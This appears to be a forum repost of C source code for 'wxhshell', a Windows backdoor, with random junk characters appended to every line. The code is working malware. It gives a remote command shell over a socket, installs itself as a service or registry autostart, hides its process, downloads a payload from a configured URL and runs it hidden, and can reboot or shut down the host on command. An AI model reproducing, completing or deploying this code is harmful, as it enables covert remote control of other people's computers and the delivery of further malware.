  else >3Eo@J,?d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o_~eg8  
  } *6 >.!&  
  else { P}4QQw  
qw^uPs7Uw  
    switch(cmd[0]) { ynQ: > tw  
  9?SZNL['V  
  // 帮助 w9bbMx  
  case '?': { I"A_b}~*}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xsD($_  
    break; Rx}$0c0  
  } N'GeHByIT  
  // 安装 ++^l]8  
  case 'i': { V)[@98T_4?  
    if(Install()) N u<_}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uc){+'[  
    else TOB]IrW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xwq+j "  
    break; ,)vDeU  
    } 75XJL;W #  
  // 卸载 F9,DrB,B{  
  case 'r': { !1$])VQWI  
    if(Uninstall()) 7+\+DujE$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g2ij  
    else }&w Ur>=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R}*_~7r5  
    break; 5\]Sv]s)R  
    } ^\4h<M  
  // 显示 wxhshell 所在路径 u>2 l7PA|  
  case 'p': { UG+d-&~Ll  
    char svExeFile[MAX_PATH]; 9_Be0xgJ3^  
    strcpy(svExeFile,"\n\r"); E2R&[Q"%  
      strcat(svExeFile,ExeFile); H9YW  
        send(wsh,svExeFile,strlen(svExeFile),0); [YlKR'_  
    break; W3MJr&p  
    } j+$rj  
  // 重启 TJK[ev};S  
  case 'b': { ChGYTn`X   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Egg=yF>T  
    if(Boot(REBOOT)) Rwz0poG`WG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (k5We!4[1  
    else { Lr$go6s  
    closesocket(wsh); 5z7U1:  
    ExitThread(0); 2mVD_ s[`  
    } n<O}hM ZT  
    break; a&/#X9/  
    } 4|riKo)  
  // 关机 -GhP9; d  
  case 'd': { 42G)~lun-d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); le/,R@]B9  
    if(Boot(SHUTDOWN)) I>]oS(GNT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g{OwuAC_  
    else { {< )1q ;  
    closesocket(wsh); [ 9 {*94M  
    ExitThread(0); KL1/^1  
    } Ql/cN%^j$  
    break; JTO~9>$ B  
    } *W,]>v0%T  
  // 获取shell R!\_rc1/  
  case 's': { ^1iSn)&  
    CmdShell(wsh); Rdvk ml@@  
    closesocket(wsh); ~.{/0T  
    ExitThread(0); {C=NUK%?  
    break; Ktb\ bw  
  } [Dk=? +  
  // 退出 <*16(!k0  
  case 'x': { F U_jGwD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XG{{ 2f  
    CloseIt(wsh); 7Ri46Tkt  
    break; U`R5'Tf;  
    } RDW8]=uM  
  // 离开 }Lc-7[/  
  case 'q': { 7X0Lq}G@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |n+qMql'  
    closesocket(wsh); _ "?.!  
    WSACleanup(); -I*^-+>H  
    exit(1); hL/)|N~  
    break; cii_U=   
        } &+Z,hs9%  
  } $7O}S.x  
  } UtPLI al  
:[wsKFaV+  
  // 提示信息 `NCwK6/i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >zw.GwN|  
} 'Y*E<6:  
  } <e Th  
tjIl-IQ  
  return; $bW3_rl%X  
} jr)1(**  
^V?<K.F  
// shell模块句柄 M2 ,YsHt  
int CmdShell(SOCKET sock) F<n3  
{ pf1BN@ t  
STARTUPINFO si; gp5_Z-me  
ZeroMemory(&si,sizeof(si)); uD\?(LM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f[@77m*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0"kbrv2y  
PROCESS_INFORMATION ProcessInfo; M9!HQ   
char cmdline[]="cmd"; (61EDKNd9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d ^^bke$~  
  return 0; K~c=M",mW  
} $w)!3c4  
=Q+;=-1  
// 自身启动模式 ~D<IB#C  
int StartFromService(void) "3Uv]F  
{ 1Yq?X:  
typedef struct Kf>A\l^X7  
{ W=j[V Oq  
  DWORD ExitStatus; Yk)."r&?  
  DWORD PebBaseAddress; :yRo3c  
  DWORD AffinityMask; /j4P9y^]=  
  DWORD BasePriority; u$>4F|=T  
  ULONG UniqueProcessId; q"%_tS  
  ULONG InheritedFromUniqueProcessId; qs1 ?IYD  
}   PROCESS_BASIC_INFORMATION; ]"t@-PFX<  
 `7 vHt`  
PROCNTQSIP NtQueryInformationProcess; 419x+3>}  
W }8'Pf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T^Y([23  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o^^rJk  
/q<__N  
  HANDLE             hProcess; 4[;X{ !  
  PROCESS_BASIC_INFORMATION pbi; 3?c3<`TW  
'm4W}F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6eT5ktf  
  if(NULL == hInst ) return 0; 01}C^iD  
wj,:"ESb4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j <Bkj/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <L"GqNuRQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <QA6/Ef7  
~tBYIkvWT  
  if (!NtQueryInformationProcess) return 0; o9JMH.G  
N.\- 8?>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ba[1wFmcL  
  if(!hProcess) return 0; -n=^U  
S'4(0j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }])oM|fgO  
i>D.!x  
  CloseHandle(hProcess); j7jCm:  
lwrC pD .  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8vMG5#U[  
if(hProcess==NULL) return 0; _JHd9)[  
6G #}Q/  
HMODULE hMod; LS7, a|  
char procName[255]; tKuVQH~D  
unsigned long cbNeeded; U^Q:Y}^  
g+pml*LJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x[$z({Yf  
F({HP)9b  
  CloseHandle(hProcess); E~]R2!9  
Kla'lCZ  
if(strstr(procName,"services")) return 1; // 以服务启动 Yzh"1|O  
PcA2/!a  
  return 0; // 注册表启动 5Ow[~p"l<  
} <,[cQ I/  
t=Xv;=daB  
// 主模块 E^vJ@O  
int StartWxhshell(LPSTR lpCmdLine) |N%fMPKa  
{ VFRi1\G  
  SOCKET wsl; X~lVVBO  
BOOL val=TRUE; ^>jwh  
  int port=0; NWMFtT  
  struct sockaddr_in door; \.-}adKg  
%p2Sh)@M  
  if(wscfg.ws_autoins) Install(); IF44F3(V4  
\QYFAa  
port=atoi(lpCmdLine); d-k%{eBV  
+y&Tf#.V/A  
if(port<=0) port=wscfg.ws_port; 8=NM|i  
BW 4%l  
  WSADATA data; [co% :xJu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #vti+A~n,4  
aqj@Cjk4Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @cFJeOC|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]Q>.HH  
  door.sin_family = AF_INET; xx#zN0I>-y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _$ +^q-  
  door.sin_port = htons(port); G#d{,3Gq1  
!,6c ~ w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *7ZN]/VRT  
closesocket(wsl); 6YGubH7%_  
return 1; `HZ;NRr  
} \$*7 >`k  
}a/x._[s  
  if(listen(wsl,2) == INVALID_SOCKET) {  ?zw|kl  
closesocket(wsl); `$W_R[  
return 1; VJickXA  
} v(ZYS']d2  
  Wxhshell(wsl); l'/R&`-n  
  WSACleanup(); B?'#4J  
Kx;eaz:gx  
return 0; Y]/% t{Y  
jRJn+  
} e?JW   
uRZZxZ  
// 以NT服务方式启动 hc>HQrd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4 QvsBpz@  
{ ?o81E2TJO  
DWORD   status = 0; eZIhEOF  
  DWORD   specificError = 0xfffffff; Yu)NO\3&  
<}<zgOT[1!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4dO~C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [lWQ'DZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8FKXSqhVM  
  serviceStatus.dwWin32ExitCode     = 0; 62 k^KO6Y  
  serviceStatus.dwServiceSpecificExitCode = 0; xv(9IEjt0  
  serviceStatus.dwCheckPoint       = 0; Jk7|{W\OA  
  serviceStatus.dwWaitHint       = 0; 5,_u/5Y4  
m[~V/N3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LBM ^9W  
  if (hServiceStatusHandle==0) return; mz,  
bwD,YC  
status = GetLastError(); \m(VdE  
  if (status!=NO_ERROR) i;/5Y'KZ  
{ qf!p 9@4F[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D^l%{IG   
    serviceStatus.dwCheckPoint       = 0; &O9 |#YUq  
    serviceStatus.dwWaitHint       = 0; F`gi_; c  
    serviceStatus.dwWin32ExitCode     = status; /178A;J y  
    serviceStatus.dwServiceSpecificExitCode = specificError; sz:g,}~h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M+U9R@  
    return; DI:]GED" =  
  } Si8pzd  
AgS 7J(^&3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :~2vJzp@?  
  serviceStatus.dwCheckPoint       = 0; "e.jZcN*  
  serviceStatus.dwWaitHint       = 0; d:BG#\e]v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 06O2:5zF  
} }=<  
,K)_OVB  
// 处理NT服务事件,比如:启动、停止 ^2Fei.?T.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &e E=<x  
{ yv t.  
switch(fdwControl) PVe xa|aaX  
{ -ws? "_w  
case SERVICE_CONTROL_STOP: 4Jp:x"w  
  serviceStatus.dwWin32ExitCode = 0; Q6PHpaj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  _zY# U9  
  serviceStatus.dwCheckPoint   = 0; ]{3)^axW;  
  serviceStatus.dwWaitHint     = 0; 24 [+pu  
  { - Ajo9H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z[b@ V  
  } Q-_N2W ?  
  return; S0zD"T  
case SERVICE_CONTROL_PAUSE: o_XflzC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zd2)M@  
  break; ck: T,F{}  
case SERVICE_CONTROL_CONTINUE: `, OG7hg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u_@f$  
  break; a L} % 2  
case SERVICE_CONTROL_INTERROGATE: :ci5r;^  
  break; )#?"Gjf~  
}; 4w*Skl=F}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7?#J~.d5  
} z>LUH  
Bo)3!wO8  
// 标准应用程序主函数 sd*p/Q|4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w mn+  
{ \nXtH}9ZF  
c23oCfB>  
// 获取操作系统版本 L{X_^  
OsIsNt=GetOsVer(); [)H&'5 +F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U>YAdrx2a  
nr95YSH  
  // 从命令行安装 6V$Avg\6\  
  if(strpbrk(lpCmdLine,"iI")) Install(); K18}W*$ d  
I@T8Iv=  
  // 下载执行文件 WA5&# kg\  
if(wscfg.ws_downexe) { tI`Q/a5@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x3hB5p$q  
  WinExec(wscfg.ws_filenam,SW_HIDE); FtpK)9/4  
} Z?6%;n^ 54  
5&QJ7B,!  
if(!OsIsNt) { `tB gH_$M  
// 如果时win9x,隐藏进程并且设置为注册表启动 /kE6@  
HideProc(); ynq}76 H0k  
StartWxhshell(lpCmdLine); m}C>ti`VD  
} /z4$gb7Y  
else YJ^] u}  
  if(StartFromService()) lNz7u:U3  
  // 以服务方式启动 B~6&{7 xc%  
  StartServiceCtrlDispatcher(DispatchTable); RmI]1S_=  
else Nkjza:f{  
  // 普通方式启动 A#K14Ayr  
  StartWxhshell(lpCmdLine); QiQ_bB!\  
/$ w%Q-p  
return 0; )mg:_K  
}
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只看该作者 1 发表于: 2006-10-10
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